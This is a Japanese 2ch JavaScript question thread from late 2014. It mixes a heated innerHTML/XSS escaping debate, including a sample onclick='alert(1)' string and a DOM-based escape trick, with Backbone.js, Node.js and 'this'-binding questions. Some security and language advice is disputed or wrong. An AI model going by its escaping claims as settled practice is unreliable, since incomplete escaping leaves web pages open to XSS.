309 名前:Name_Not_Found mailto:sage [2014/11/11(火) 01:32:57.68 ID:???.net]
>>304
「足りない」っていうぐらいなら
何が足りないのかいいなよ。
難癖つけてるようにしか見えないからさ

310 名前:Name_Not_Found mailto:age [2014/11/11(火) 01:34:19.23 ID:???.net]
>>304
> あえてこちらには書き込まなかったのになぜこっちにコピペするんだよ

こっちの続きだから

> 明らかに足りない

じゃあ、足りない文字は何?
そいれ付け加えるだけなんだからさ



311 名前:Name_Not_Found mailto:sage [2014/11/11(火) 01:35:41.73 ID:???.net]
>>304
あなたよりも、徳丸さんの方を信じますよw

徳丸さんは / はエスケープしてないね。
たしかに要らないように思える。

312 名前:Name_Not_Found mailto:sage [2014/11/11(火) 01:37:57.87 ID:???.net]
仕様を読めば分かる事を一々聞くな
仕様も読めない奴が一人前な口を叩くな

この後の展開は読めてる
「知らないんだろ?じゃあ、問題ないってことだな」
煽ってもおまえに教える気は全くないがね

313 名前:Name_Not_Found mailto:sage [2014/11/11(火) 01:38:10.16 ID:???.net]
本当、文句だけ言って自分の意見は書かないクズはなんなんだろうな

314 名前:Name_Not_Found mailto:sage [2014/11/11(火) 01:39:59.82 ID:???.net]
それじゃだめ

なんで?

いいやだめだめ

だからなんで?

だめったらだめ

駄目だこいつ話にならねぇw

315 名前:Name_Not_Found mailto:sage [2014/11/11(火) 01:41:50.95 ID:???.net]
仕様によると最低限のエスケープはこれだけらしい。

d.hatena.ne.jp/ockeghem/20070510/1178813849
> W3CのHTML4.01の仕様を見ると、〜略〜すなわち、最低限のエスケープだと以下のようになります。
>
> エスケープ対象項目 エスケープ対象文字
> 要素内容(一般のテキスト) 「<」、「&」
> 属性値 「"」、「>」、「&」

これ+ブラウザのバグ対策か。

316 名前:Name_Not_Found mailto:sage [2014/11/11(火) 01:44:48.21 ID:???.net]
>>308
> この後の展開は読めてる
> 「知らないんだろ?じゃあ、問題ないってことだな」

普通にその通りの展開だよw

でも先が読めてても、対策出来てないんじゃ
片手落ちだけどね。


お前がパンチを出してくるのは読めていた!(勝ったつもり)
そしてパンチで殴られる。(笑)
先が読めてても、殴られる例。

317 名前:Name_Not_Found mailto:sage [2014/11/11(火) 01:46:38.58 ID:???.net]
先が読めてるくせに、その先を行けないっていうのは、
言い返せないからってことだと思うw

そういう反論するのはわかっていたが、
その反論の反論はできないってことだから。

318 名前:Name_Not_Found mailto:sage [2014/11/11(火) 01:51:25.80 ID:???.net]
なんか向こうでこういうこと言ってる奴がいるわw

> >>132が向こうのスレにコピペされてるんだが、誰がやったんだ?
> 迷惑だから止めてくれ

こっちの話を移動させようとしてるの見え見えだってのに
見苦しいやつだなw

319 名前:Name_Not_Found mailto:sage [2014/11/11(火) 08:02:27.92 ID:???.net]
innerHTML否定厨が完全論破されててワロタw

320 名前:Name_Not_Found mailto:sage [2014/11/11(火) 08:30:42.48 ID:???.net]
replaceの回数だけ文字列を全部読んでいてワロタw



321 名前:Name_Not_Found mailto:sage [2014/11/11(火) 09:01:58.11 ID:???.net]
>>316
ベンチマークするとそっちのほうが
速かったりするのはなんでなんだろうか?

キャッシュの関係なのかな?

ループが単純=CPUの1次キャッシュに入りきる
ループが複雑=CPUの1次キャッシュに入りきらない

322 名前:Name_Not_Found mailto:sage [2014/11/11(火) 09:44:07.85 ID:???.net]
>>288,289

固定の文字列って何?ハードコーディングって用語も知らないの?
文字列は文字列であり変数に入れようが入れまいが代わりはない
ハードコーディングされた文字列だから安全って思い込みはやめるべきだ
"<div onclick='alert(1);'>click</div>"こういうのは文字列じゃないとか抜かすなよ

>Q. innerHTMLは絶対に使ったらダメなの?
>A. XSSが起きるような使い方をしなければ使って問題はありません。

つまり自分でDOMで構築するよりもリスクが高い事を認めているってことだよね

お前が主張する前にもう言っただろ
innerHTMLはパフォーマンスが悪くDOMを壊す

323 名前:Name_Not_Found mailto:sage [2014/11/11(火) 09:56:13.25 ID:???.net]
>>303
エスケープ

var DIV = document.createElement('div');

function escapeHTML(str) {
DIV.textContent = str;
return DIV.innerHTML;
}

というやり方もあるんじゃないか?

ただし、この関数の場合
escapeHTML(str1) + escapeHTML(str2) の結果が
escapeHTML(str1 + str2)
に等しくならない場合があるブラウザがあると困るかもしれない

ちなみに逆変換はこれでいけるかな?

function unescapeHTML(htmlStr) {
DIV.innerHTML = htmlStr;
return DIV.textContent
}

324 名前:Name_Not_Found mailto:sage [2014/11/11(火) 09:57:11.06 ID:???.net]
innerHTMLはパフォーマンスが悪くDOMを壊す(キリッ

世界中で使われてるのに?
jQueryにも使うなって言ってこいよ
変な宗教か何かやってるのかな?

325 名前:Name_Not_Found mailto:sage [2014/11/11(火) 10:19:49.90 ID:???.net]
デタお決まりのjQueryガーwwwwwwwwwwww

326 名前:Name_Not_Found mailto:sage [2014/11/11(火) 10:29:48.42 ID:???.net]
文字列操作で構築、変数部分はエスケープって一昔前に戻った感じだね

327 名前:Name_Not_Found mailto:sage [2014/11/11(火) 10:41:28.13 ID:???.net]
DOMを壊すって曖昧な表現だな
innerHTMLを使ってもDOMがぶっ壊れたりしないから良く分からんよ

328 名前:Name_Not_Found mailto:sage [2014/11/11(火) 10:58:54.87 ID:???.net]
無知がinnerHTML使うなって言ってて笑える

329 名前:Name_Not_Found mailto:sage [2014/11/11(火) 11:40:48.95 ID:???.net]
ごちゃごちゃとエスケープ処理を作るよりも
こういう>>319ハックのほうが個人的には好きだな

330 名前:Name_Not_Found mailto:sage [2014/11/11(火) 13:38:02.07 ID:???.net]
>>319
>>325
escapeの為にinnerHTMLを使うことは本当の馬鹿だからやめとけ
innerHTML否定厨よりも頭悪いぞ



331 名前:Name_Not_Found mailto:sage [2014/11/11(火) 13:46:47.72 ID:???.net]
>>325
賢い方法だが、テキストノードのエスケープ処理しかない点に注意
属性値のエスケープ処理を追加する必要がある

332 名前:Name_Not_Found mailto:sage [2014/11/11(火) 14:19:25.43 ID:???.net]
>賢い方法だが

ブラウザの挙動すら理解できてない馬鹿が一匹沸いたな

333 名前:Name_Not_Found mailto:sage [2014/11/11(火) 16:32:43.53 ID:???.net]
DOMOすんません

334 名前:Name_Not_Found mailto:sage [2014/11/11(火) 18:58:18.81 ID:???.net]
まあ今日はポッキーでも喰って落ち着け
つ━━━一

335 名前:Name_Not_Found mailto:sage [2014/11/11(火) 19:15:54.23 ID:???.net]
一人で回答頑張ってる奴がいるみたいだから、このスレの回答は全てそいつ一人に任せればいいんじゃない?
そいつの認める奴だけが回答する権利を持つと言わんばかりの有り様だし

336 名前:Name_Not_Found mailto:sage [2014/11/11(火) 20:38:17.72 ID:???.net]
>>318
> つまり自分でDOMで構築するよりもリスクが高い事を認めているってことだよね

DOMで構築するほうがリスクが高いよ。
DOMで構築するとコードが長くなる。
コードが長くなるということはバグを入れる可能性が高くなる。
つまりバグを入れるリスクが高い。

337 名前:Name_Not_Found mailto:sage [2014/11/11(火) 20:51:19.05 ID:???.net]
>>331
それ、いいね。

じゃあ、君の意見に賛成する俺と
君は回答しないことにしよう。

多分君の危険に賛成しない人はいるだろう。
そういう人は回答してもいいけど、
少なくとも俺と君、この二人はもう絶対回答しないよ

338 名前:Name_Not_Found mailto:sage [2014/11/11(火) 21:10:30.10 ID:???.net]
>>319
DOM使ってエスケープするのは、可能といえば可能で
意外と遅くないらしいんだけど、やり過ぎだと思うよ。

仕様も実装も簡単なのに、ブラックボックスにするのがね。
あとサーバーサイドで使う時も考えると、
純粋なJavaScript(ECMAScript)の範囲にしておきたいし。

もちろん、DOMベースでやるよりも、文字列ベースのほうが
少ないメモリで実行できるので速くなる。

339 名前:Name_Not_Found mailto:sage [2014/11/11(火) 21:12:32.90 ID:???.net]
>>318
> "<div onclick='alert(1);'>click</div>"こういうのは文字列じゃないとか抜かすなよ

あほじゃね? どこのアホがonclickなんて文字を書くんだよ。

そんなマヌケがいたとしたら、createElement使っても
onclick書くだろw

どんだけおっちょこちょいなんだw

340 名前:Name_Not_Found mailto:sage [2014/11/11(火) 21:16:01.95 ID:???.net]
論点がずれてる。

JavaScriptを文字列の中に書くのはXSSじゃない。
それは単にaddEventListnerした要素にすぎない。

問題なのは文字列の中にJavaScriptを埋め込むことではなく
文字列の中にXSSを埋め込むこと。

文字列の中にXSSを埋め込むのは相当難しい。



341 名前:335 mailto:sage [2014/11/11(火) 21:18:01.52 ID:???.net]
>>336
そのとおりですね。

俺が言いたかったのは、文字列の中にXSSを埋め込むようなおっちょこちょいは、
createElement使ってもXSSを埋め込むおっちょこちょいだろだろってことです。

342 名前:Name_Not_Found mailto:sage [2014/11/11(火) 21:49:16.66 ID:???.net]
俺がいいたいのは>>289のようなアホなコードを書く奴は何を書いてもXSSを起こすだろだろってことです

343 名前:Name_Not_Found mailto:sage [2014/11/11(火) 21:55:43.65 ID:???.net]
じゃあアホの部分を修正すればいいだけじゃんかw

344 名前:Name_Not_Found mailto:sage [2014/11/11(火) 22:30:13.66 ID:???.net]
ここはジャイアンのスレですね

345 名前:Name_Not_Found mailto:sage [2014/11/11(火) 22:47:42.34 ID:???.net]
ジャイアンに失礼だろ

346 名前:Name_Not_Found mailto:sage [2014/11/11(火) 23:48:14.58 ID:???.net]
結局また始まってんじゃん

347 名前:Name_Not_Found mailto:sage [2014/11/12(水) 00:15:37.45 ID:???.net]
仕方ないよ。
innerHTMLなんて、サーバーサイドのechoや
document.writeと同じで、エスケープすればいいだけの話なのに、
エスケープしなかったらXSSになるかもしれないから使うなって
意味不明なことを言ってるようなやつだからね。
頭が悪い奴はいくら言っても理解できない。

348 名前:Name_Not_Found mailto:sage [2014/11/12(水) 01:28:13.89 ID:???.net]
ゼビウスの開発コードネーム?

349 名前:Name_Not_Found [2014/11/12(水) 01:34:13.10 ID:+zRlwvNM.net]
いま面白いことを言った!

350 名前:Name_Not_Found mailto:sage [2014/11/12(水) 03:16:46.81 ID:???.net]
ORMでデータを保存する時、
hoge.save()
のようなメソッドを発行すると思います
それによりajaxのリクエストが投げられるでしょう
しかし複数のデータを保存した場合、たとえばオブジェクトが100個あると、
100回もリクエストが発行されるのでしょうか?



351 名前:Name_Not_Found mailto:sage [2014/11/12(水) 03:30:45.96 ID:???.net]
>>346
フレームワークによると思うが
複数のリクエストをまとめる仕組みがあるだろう。

そういうたぐいのフレームワークについて
俺は詳しくないが、そのような仕組みを考えたことはある。
俺程度が思いつくものなのだから、普通にあると思う。

352 名前:Name_Not_Found mailto:sage [2014/11/12(水) 12:35:05.41 ID:???.net]
そうですか
調べてみます
ありがとうございました

353 名前:Name_Not_Found mailto:sage [2014/11/12(水) 17:11:47.77 ID:???.net]
>>330
チョコの方持つなよ

354 名前:Name_Not_Found [2014/11/12(水) 23:15:55.68 ID:PMYoTTja.net]
ポップアップ画面のClickイベントでAddClass()をしてもブラウザに反映されません、親のフォームでは反映されました
原因が解る方お願いします。

環境:Chome 38, JQuery 1.10.2

355 名前:Name_Not_Found mailto:sage [2014/11/12(水) 23:21:51.01 ID:???.net]
var Sidebar = Spine.Controller.create({
events: {
"click [data-name]": this.click
},
init: function(){
this.bind("change", this.change);
},
change: function(name){ /* ... */ },
click: function(e){
this.trigger("change", $(e.target).attr("data-name"));
}
// ...
});

というコードがステートフルJavaScriptにあるのですが
events:のthis.clickに違和感があります
clickハンドラをSidebarのclickメソッドにマップしているところですが
ここのthisはSidebarではなく、定義時のthisになりますよね
そして関数ではないので、bindでthisをSidebarにする方法もないですよね
つまりどう考えてもおかしいのではないと思うのですが
何か間違っているのでしょうか?

356 名前:Name_Not_Found mailto:sage [2014/11/13(木) 00:55:55.36 ID:???.net]
もしかしたらオブジェクト定義の中にthisを書いたらオブジェクトがthisになるのかと思って
たしかめたけどやはりそんなことはありませんでした
記述ミスですかね〜

357 名前:Name_Not_Found mailto:sage [2014/11/13(木) 02:41:07.64 ID:???.net]
winXPを久しぶりに起動したらwindows updateが来ていました
またXPのサポートが終わった時から
avg2014が使えなくなっていたのですが
avg2015を入れたら問題なく使えるようになりました
なんだかサポート期限なんてなかったみたいな雰囲気になってますが
ということはIE6が延命していくのでしょうか?

358 名前:Name_Not_Found mailto:sage [2014/11/13(木) 03:44:59.71 ID:???.net]
延命? 命を延ばすわけ無いだろ。
余命過ぎてもまだ生きてるぐらいの意味だ。

359 名前:Name_Not_Found [2014/11/13(木) 04:00:55.93 ID:OMP0ufSZ.net]
>>351
コード見てないからわからないけど、
click関数が前後のどこかにあるんじゃないの?

360 名前:Name_Not_Found mailto:sage [2014/11/13(木) 05:32:24.80 ID:???.net]
thisは文脈で変わる
各インスタンスのメソッド内では、そのインスタンスを指すけど、
関数がグローバルスコープで呼び出されていたら、
thisはグローバルオブジェクトを指す

thisを出力して確かめて

ECMA Script 3 では、入れ子になった関数内で、thisを使うと、
グローバルオブジェクトを指すというバグがあったが、
ECMA Script 5 では、修正されるらしい



361 名前:Name_Not_Found mailto:sage [2014/11/13(木) 07:40:29.75 ID:???.net]
greasemonkeyスクリプトなんですが、
スクロールを一定回数止めるため以下のように書きました。

var count = 1;
var scrollY;
start();
function start(){
scrollY = document.body.scrollTop;
window.addEventListener('scroll', scrollStop,false);
}
function scrollStop(){
count++;
window.scrollTo(0, scrollY);
if(count > 20) window.removeEventListener('scroll', scrollStop,false);
}

firefoxでは正常に動くのにchromeだとremoveEventListenerがうまく動きません。
chromeに対応させるにはどうしたらいいのでしょうか?

362 名前:Name_Not_Found mailto:sage [2014/11/13(木) 08:34:23.28 ID:???.net]
>>351-352
Spine.Controller.create の中身が不明なので答えようがない

363 名前:Name_Not_Found mailto:sage [2014/11/13(木) 10:14:00.68 ID:???.net]
結構メモリを食うjavaプログラムをjs(+HTML)に移植しています。
メモリエラーが出る関係から、sshを使って他のスペックの高いマシンでjava実行を
していたのですが、jsを同様にスペックの高いマシンの方で実行する方法はあるのでしょうか?
Node.jsのサイトなどを見ていたのですがこれでいいのかよく分からず・・・。
スレチ、文が意味不明、だったらごめんなさい

364 名前:Name_Not_Found mailto:sage [2014/11/13(木) 22:44:33.71 ID:???.net]
>>359
多分nodeでいいよ。

hello.js というファイル名

365 名前:ナconsole.log('hello') って書いて
node hello.js とやるとちゃんとhelloって言ってくれる。

ただ、ブラウザで動かしているものをnodeで動かすとしたら
ちゃんとJavaScript(ECMAScript)の仕様の範囲にしておかないとダメだけどね。

ブラウザで動かすJavaScriptは、純粋なJavaScriptではなくて
DOMというブラウザ専用ライブラリが組み込まれた状態。

だからDOMを使わないコードにしておかないといけない。・・・原則的には。

NodeはNodeでその実行環境にはブラウザを超える能力があるから
ライブラリ次第でDOMも使える。

話がそれたけど、別のマシンで動かすならNodeでOK
そのコードの書き方はDOMを使わないように気をつけることだね。
[]
[ここ壊れてます]

366 名前:Name_Not_Found mailto:sage [2014/11/14(金) 00:10:33.66 ID:???.net]
>>360
周りに聞ける人がいないので本当に助かります。
DOMを使わず書けるならそれが望ましい(結果的に楽?)のですね
とりあえずnodeで良さそうなので、もう少し書籍等調べてみます。
ご丁寧にありがとうございました。

367 名前:Name_Not_Found mailto:sage [2014/11/14(金) 12:00:00.85 ID:???.net]
>>356
> ECMA Script 3 では、入れ子になった関数内で、thisを使うと、
> グローバルオブジェクトを指すというバグがあったが、
> ECMA Script 5 では、修正されるらしい
初耳ですが、具体的にはどのようなコードでバグが再現されるのでしょう?
ES3での該当箇所や参考URLがあれば、掲示していただけると助かります

368 名前:Name_Not_Found mailto:sage [2014/11/14(金) 15:14:01.80 ID:???.net]
ソースは2ちゃんです

369 名前:Name_Not_Found mailto:sage [2014/11/14(金) 15:42:43.64 ID:???.net]
バクじゃなくて仕様だよ
ES6のアロー関数では外のthisと同じものを指すらしいけど

370 名前:362 mailto:sage [2014/11/14(金) 16:04:47.03 ID:???.net]
>>363
具体的な2chのURLはどこになるでしょう?
また、バグと判断できる根拠は?

>>364
ES3では this はグローバルオブジェクトを参照する仕様ですが、ES5 でも変わってはいません
Strict Mode でのみ this は undefined を参照します
このように理解しているのですが、>>356の勘違いのような気がしてきました



371 名前:Name_Not_Found mailto:sage [2014/11/16(日) 07:22:51.19 ID:???.net]
>>357ですが自己解決しました
あれこれ試した結果、案外単純にwindow.onscrollで一時停止と解除ができました。

結局なぜremove出来なかったのかわからずじまいでしたがお騒がせしました

372 名前:Name_Not_Found [2014/11/16(日) 17:53:05.70 ID:EXTL8bVR.net]
子Windowで選択した要素を親Windowに追加がしたくて
子Windowで
window.opner.item = selectItem;
親Windowで
$('#itemList').append(item.cloneNode(true));
としてみたのですがIEだけappendの時にHierarchyRequestErrorと出ます
ぐぐってみると子Windowからappendするときはwindow.opnerをつけるという感じのものしか見つからず解決しませんでした
どうしたらいいのでしょうか?

373 名前:Name_Not_Found [2014/11/24(月) 02:14:18.29 ID:0uSHMMOL.net]
>>367
ウインドウが違うのに要素って移動していいのかな?
子ウインドウであればセキュリティ的には問題ないはずなんだけど
仕様的にどうなんだろう。

興味があるので詳しい人お願い

374 名前:Name_Not_Found mailto:sage [2014/11/25(火) 11:09:23.94 ID:???.net]
配列a(a[3000][3000]くらい)の中身を関数(js)B,C,D・・・で書き換え操作するプログラムを作っています
HTMLでファイルを読み込み、ロードが終わり次第、関数Bを呼び出し、Bが終わり次第
B内でCを呼び出し・・・としています。

これで上手くいけばいいのですが、メモリエラーになってしまいます。
BやC内でもaと同サイズの配列を新たに生成しているためメモリを食うとは思うのですが
やり方としておかしなところがあったりしますでしょうか?
GCのために使わなくなった大きな配列データはnullで初期化してるつもりなのですが・・・

375 名前:Name_Not_Found mailto:sage [2014/11/25(火) 19:44:39.66 ID:???.net]
>>369
>GCのために使わなくなった

それだとGCのタイミングに依存するかも
js 側の処理を中断して一度制御をブラウザ側に返す必要があるかもしれない

可能なら作業用の配列を何度も使い回す方がいいだろう

376 名前:369 mailto:sage [2014/11/26(水) 08:06:28.71 ID:???.net]
>>370
GCという機能があるというのは知っていましたが
タイミングを含めて、どのように実行しているか調べていなかったので
開発者ツール?でチェックしてみようかと思います。

どちらかというと、未だによく理解できていないクロージャーの方が
問題かと思っていたのですが、そうでもなかったのですかね。
ご返答ありがとうございました。

377 名前:Name_Not_Found mailto:sage [2014/11/26(水) 20:30:55.29 ID:???.net]
DTならよく知っています。

378 名前:Name_Not_Found mailto:sage [2014/11/26(水) 22:36:44.51 ID:???.net]
>>369
> GCのために使わなくなった大きな配列データはnullで初期化してるつもりなのですが・・・

GCだと推測して対策ししたが効果はなかったということは、
GCは関係ないってことだよ。

379 名前:Name_Not_Found mailto:sage [2014/11/26(水) 22:38:43.39 ID:???.net]
>>369
どうやってHTMLでファイル読み込んでるのかしらんけど、
非同期処理の問題でしょ?

380 名前:369 mailto:sage [2014/11/26(水) 23:50:50.66 ID:???.net]
>>372-374
今確認したところ非同期処理でファイルを読み込んでいるみたいでした。
同期処理のもあるみたいなのでそれで一度試してみます。
ただ、非同期のために値が取れていないという訳ではないんですよね・・・。



381 名前:Name_Not_Found mailto:sage [2014/11/27(木) 09:08:01.05 ID:???.net]
>>375
原因追及のために同期処理でやってみるのもいいけど
同期処理はあまりやらないほうがいいよ

382 名前:Name_Not_Found mailto:sage [2014/11/30(日) 09:00:51.12 ID:???.net]
残念なことですが、ここは線形合同法も知らない愚かな早漏野郎が立ててしまいました

383 名前:
質問者は以下のスレに移動してください

+ JavaScript の質問用スレッド vol.121 +
http://peace.2ch.net/test/read.cgi/hp/1410603104/
[]
[ここ壊れてます]

384 名前:Name_Not_Found mailto:sage [2014/11/30(日) 11:05:46.50 ID:???.net]
無限ループって怖いよね

385 名前:Name_Not_Found mailto:sage [2014/11/30(日) 11:14:34.53 ID:???.net]
(function f(){f()})()
みたいな

386 名前:Name_Not_Found mailto:sage [2014/11/30(日) 19:18:46.49 ID:???.net]
>>377
無限ループ怖いお(´・ω・`)

387 名前:Name_Not_Found mailto:sage [2014/11/30(日) 23:28:23.75 ID:???.net]
githubとかってjavascriptの勉強に使えますか?
英語読めないし、使い方がさっぱり分かりませんでした。

388 名前:Name_Not_Found mailto:sage [2014/12/01(月) 08:57:39.84 ID:???.net]
評価お願いします><


無からギター音
jsdo.it/jagarikin/t4Rm

389 名前:Name_Not_Found mailto:sage [2014/12/01(月) 09:05:13.52 ID:???.net]
英語が分からなくても、JavaScriptという万国共通語があれば大丈夫

390 名前:Name_Not_Found mailto:sage [2014/12/01(月) 13:48:33.51 ID:???.net]
perlワンライナーで語るみたいな



391 名前:Name_Not_Found [2014/12/01(月) 22:17:14.50 ID:R7CxMEcr.net]
backbone.jsを勉強しています
ビューの中でモデルにハンドラをセットし、モデルの変更をビューに反映させる、
ということは分かりましたが、
マウスなどの入力をモデルに反映させるのはどこでやるんですか?

392 名前:Name_Not_Found mailto:sage [2014/12/01(月) 22:20:50.65 ID:???.net]
ボタンを押した時の処理をどこで受けるのか的なことです

393 名前:Name_Not_Found mailto:sage [2014/12/01(月) 22:31:04.21 ID:???.net]
viewのeventsプロパティがハンドラとしてセットされ、
viewのメソッドで受けるようです
なんとなくコントローラの役割のような気がするのですが違うのでしょうか?

394 名前:Name_Not_Found mailto:sage [2014/12/02(火) 00:25:21.12 ID:???.net]
>>381
gitの本は、一杯あるよ

日本のサイトでも、サイト内だけだけど、MITライセンスで、
JSのソースコードを共有しているし、自由に使える。
ゲームも一杯ある
ttp://jsdo.it/

395 名前:Name_Not_Found mailto:sage [2014/12/02(火) 01:16:08.62 ID:???.net]
>>387の件ですが、
backboneのコントローラはURLとハッシュによって呼び出されるメソッドの集積のようですね
サーバサイドのコントローラに近いですね

396 名前:Name_Not_Found mailto:sage [2014/12/02(火) 22:10:20.24 ID:???.net]
ie7とie8とかでjsコードを実行したい場合、ietesterを使っていたのですが、
ietesterはバグがあるから、〜を使えってこのスレで言われた気がするのですが、
何使えばいいですか?

397 名前:Name_Not_Found mailto:sage [2014/12/02(火) 22:18:43.78 ID:???.net]
開発者ツールでいいんじゃね

398 名前:Name_Not_Found mailto:sage [2014/12/03(水) 04:23:05.78 ID:???.net]
virtualboxじゃね
実機の挙動にかなうものなし

399 名前:Name_Not_Found mailto:sage [2014/12/03(水) 22:01:28.36 ID:???.net]
昼休みは、会社の食堂でメシ食ってるときにテレビ見てるんだけどさ、
今どきのjs(女子小学生)のファッション特集とかよくやってんだけど、
マジでJS(女子小学生)って普通にテレビで言うようになったんだな。
うかつに「休日はJS(Javascript)の勉強してます」っていうと
「JS(女子小学生)の勉強・・通報しなきゃッ!」って感じで
通報されかねないやん

400 名前:Name_Not_Found mailto:sage [2014/12/04(木) 00:22:45.66 ID:???.net]
別に会話中にJavaScriptをJSなんて言わないよ



401 名前:Name_Not_Found mailto:sage [2014/12/04(木) 03:04:54.51 ID:???.net]
「はじめてのC」

402 名前:Name_Not_Found mailto:sage [2014/12/04(木) 12:20:38.02 ID:???.net]
Backbone.jsのViewで、classNameやidというプロパティは
スカラー値にすることも関数にすることも出来、
関数だった場合は返り値を設定したことになるそうですが
これナイスな方法ですね?

403 名前:Name_Not_Found mailto:sage [2014/12/04(木) 21:07:51.79 ID:???.net]
>>396
はい。ナイスな方法でよく使われます。
よく使われるので、汎用JavaScriptライブラリのlodashは
まさにそのための関数_.resultを用意しています。

https://lodash.com/docs#result

var object = {
'cheese': 'crumpets',
'stuff': function() {
return 'nonsense';
}
};

_.result(object, 'cheese');
// → 'crumpets'

_.result(object, 'stuff');
// → 'nonsense'

404 名前:Name_Not_Found mailto:sage [2014/12/04(木) 23:36:21.48 ID:???.net]
ほお
lodash使ってたのに知りませんでした
ありがとうございます

405 名前:Name_Not_Found mailto:sage [2014/12/04(木) 23:42:39.22 ID:???.net]
lodashはいい加減3.0をリリースして欲しい所。
全体のどれくらい終わったんだろうか。

406 名前:Name_Not_Found mailto:sage [2014/12/06(土) 01:01:43.93 ID:???.net]
qiitaに投稿した記事がやたらアクセス数が多い(3500超えた)と思ったら、
「Javascript 〜 〜」って検索すると一番上にqiitaに投稿した記事が来た
ストック6しかないのにな、業務とかでググってる人が多いのだろうか?

407 名前:Name_Not_Found mailto:sage [2014/12/06(土) 02:28:32.81 ID:???.net]
>>400
これか
qiita.com/amoO_O/items/fa7dd0ecc5010cfa4dd3
どこかのコミュニティで拡散されてるんじゃない?

408 名前:Name_Not_Found mailto:sage [2014/12/06(土) 04:36:52.79 ID:???.net]
backboneはドキュメントサイトが見にくいな
左フレームの幅が固定なのがアカン

409 名前:400 mailto:sage [2014/12/06(土) 08:36:37.42 ID:???.net]
>>401
違います。特定されたかと思って焦ったじゃないか。

410 名前:Name_Not_Found mailto:sage [2014/12/06(土) 10:14:53.95 ID:???.net]
>>400-401
自作自演で宣伝ご苦労様でした



411 名前:Name_Not_Found mailto:sage [2014/12/07(日) 17:11:41.77 ID:???.net]
何qiitaって?お金になるの?

412 名前:Name_Not_Found mailto:sage [2014/12/08(月) 03:24:15.57 ID:???.net]
backbone.jsでset時にvalidateした場合、invalidな値がセットされることはありませんが
そうでない場合はsave時にvalidateされるので
invalidな値が属性に入ってくることになりますよね?
そうなるとinvalidな値を元にrenderすることになると思います
そうすると対応が面倒なので、バリデートはset時にするのが当たり前なのでしょうか?

413 名前:Name_Not_Found mailto:sage [2014/12/09(火) 03:12:45.73 ID:???.net]
テンプレートはHTMLにtext/templateとして書く方がいいのでしょうか?
そうなるとテンプレートの断片がHTMLの中に並ぶわけで、
それならJavaScriptファイル中に書くのと分かりやすさ大差なくね?
いやむしろJavaScriptファイル中に書いた方が分かりやすくね?
って思います。
HTML自体がテンプレートのようなものなので、
テンプレートの中にテンプレートの断片を入れているような気持ち悪さがあるのです

414 名前:Name_Not_Found mailto:sage [2014/12/09(火) 03:52:40.21 ID:???.net]
ドットインストールのbackbone.jsのレッスン見終わりました
やはり本を読んだりするより映像で学ぶのが一番効率いいと思います
もう少し詳しい学習をしたいのですが、そういうムービーどこかにないですか?

415 名前:Name_Not_Found mailto:sage [2014/12/09(火) 07:30:50.53 ID:???.net]
>>408の件ですが
英語の動画は沢山あるのですが日本語のものはないようですね
スライドを見ればある程度は何してるのか分かりますが
それなら最初からスライドを探した方がいいかもしれません

416 名前:Name_Not_Found mailto:sage [2014/12/09(火) 22:09:50.18 ID:???.net]
>>405
qiitaへの投稿のメリット
・自分の投稿した記事の内容を自画自賛して「オレすごすぎwww」ってなれる
・ググルト自分の記事がヒットするからいい感じになる。
・hddがあぼーんしてもqiitaに投稿した内容は消えない

qiitaのダメなとこはgood、badタグがないことだな。

JavaScriptでかっこよくthisを回避する
qiita.com/chick307/items/01907fd4d69be6d264e5

↑例えば、どこがかっこよくthis回避なのか不明な記事とかにbadを押したく
なるときにできないのが難点

417 名前:Name_Not_Found mailto:sage [2014/12/10(水) 06:42:57.68 ID:???.net]
JavaScriptを独学で勉強しようと思うのですが、一番初めに見るおすすめの参考書はどれでしょうか?

418 名前:Name_Not_Found mailto:sage [2014/12/10(水) 06:44:56.92 ID:???.net]
observerパターンについてですが
ハンドラを解除しないままobserverの方を削除してしまったら
ハンドラが残り続けてメモリリークになるんじゃないかと思うのですが、
大丈夫なのでしょうか?
observerのデストラクタで解除するようにすればいいと思いますが
JavaScriptではデストラクタがないので、そういう方法は取れないと思います

419 名前:Name_Not_Found mailto:sage [2014/12/10(水) 06:49:31.08 ID:???.net]
>>411
中級者以上ならオライリーのJavaScriptがいいと思うけど
初心者向けとなると逆に何がいいか分からないな

420 名前:Name_Not_Found mailto:sage [2014/12/10(水) 08:38:36.00 ID:???.net]
qiitaにたまに芸能人の画像貼り付けてる奴がいるから通報してる



421 名前:Name_Not_Found mailto:sage [2014/12/10(水) 11:42:29.48 ID:???.net]
>>411
My UNIXシリーズの奴は解りやすかった。

422 名前:Name_Not_Found mailto:sage [2014/12/10(水) 18:44:48.11 ID:???.net]
backbone.jsのために
サーバ側から送るJSONのフォーマットが良く分かりません
ドキュメントにもそれらしき項目がないようですし
ガイドブックにも何故か見当たりません
どこ見たらいいですか?

423 名前:Name_Not_Found mailto:sage [2014/12/11(木) 12:51:44.73 ID:???.net]
>>416の件ですが、
ごく当たり前に記述する、で正解でした
fetchした直後にcollectionをlogしたら、lengthが0だったので、
JSONの記述の仕方を間違っているのかと思ったのですが
非同期で読まれるのでfetch実行直後にはまだ値が入ってないんですね

424 名前:Name_Not_Found mailto:sage [2014/12/11(木) 16:14:00.90 ID:???.net]
backbone.jsで、モデルを新規作成してsaveした時、
サーバサイドで割り振ったidをクライアントに反映すると思うのですが
どうやるのか良く分かりません
POSTのレスポンスとしてidを返すんでしょうか・・?

425 名前:Name_Not_Found mailto:sage [2014/12/11(木) 22:10:22.43 ID:???.net]
<div>
<div></div><div>★</div>..
</div>

★のところから自分のノードが親に対して1だという
ことはどうすればわかりますか?

426 名前:Name_Not_Found mailto:sage [2014/12/11(木) 22:41:22.36 ID:???.net]
★の2に対する子から親が1かどうかをしらべる

427 名前:Name_Not_Found mailto:sage [2014/12/11(木) 23:23:09.04 ID:???.net]
>>418の件ですが
普通に
{"id":100}
みたいなJSONを返せばいいだけでした
JSの癖で、キー名を""で囲まなかったのでエラーになってました

428 名前:Name_Not_Found mailto:sage [2014/12/12(金) 00:50:56.80 ID:???.net]
JSONライブラリ使えよ

429 名前:Name_Not_Found mailto:sage [2014/12/12(金) 04:48:04.07 ID:???.net]
面倒なので手書きしてました

430 名前:Name_Not_Found mailto:sage [2014/12/12(金) 05:03:45.42 ID:???.net]
手書きというのはライブラリを、ではJSONをという意味です
まだやり方をテストしてる段階なので



431 名前:Name_Not_Found mailto:sage [2014/12/12(金) 18:52:01.28 ID:???.net]
backboneを使うため、
lodashをunderscore buildにしたら
assignが使えなくなりました
ソースを見るとextendというエイリアスは生きているようです
別にバッティングするわけでもないのだから
assignを生かしておいても問題ないと思うのですが
なぜassignをなくしたのだと思いますか?

